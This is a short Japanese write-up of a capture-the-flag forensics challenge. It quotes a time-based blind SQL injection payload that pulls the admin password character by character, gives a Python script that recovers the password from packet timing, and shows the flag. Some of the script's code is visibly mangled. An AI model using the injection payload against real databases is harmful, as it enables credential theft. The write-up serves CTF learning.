Temple of Time
pcapが渡されるので見てみるとHTTPのパケットが大量に
code:sql
'OR = (
SELECT(IF(Ord(Substr(
(
SELECT password
FROM users
WHERE username='admin'),1,1))=48,Sleep(1),'')))#
adminのパスワードのそれぞれの位置の文字(substr)を総当りして、レスポンスまでの時間(sleep)で文字が合っているか検証する
上でいえば「48」の数字を変えたパケットが大量にある
サイドチャネル攻撃
パケットに時間差があるところで文字が漏れているので、そのときの文字コードを見ればよい
面倒なことは面倒だけどPythonにやらせよう(やはりPythonは面倒)
code:exploit.py
import pyshark
import urllib.parse
cap = pyshark.FileCapture('40142c592afd88a78682234e2d5cada9.pcapng', display_filter='http && ip.src == 150.95.139.51')
ans = ""
for i, packet in enumerate(cap):
if i == 0:
continue
if float(packet.sniff_timestamp) - float(capi-1.sniff_timestamp) > 1.0: ans += chr(int(urllib.parse.unquote(capi-1.http.get_field_value('request_uri')).split(',')2.split('=')1)) print(ans)
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}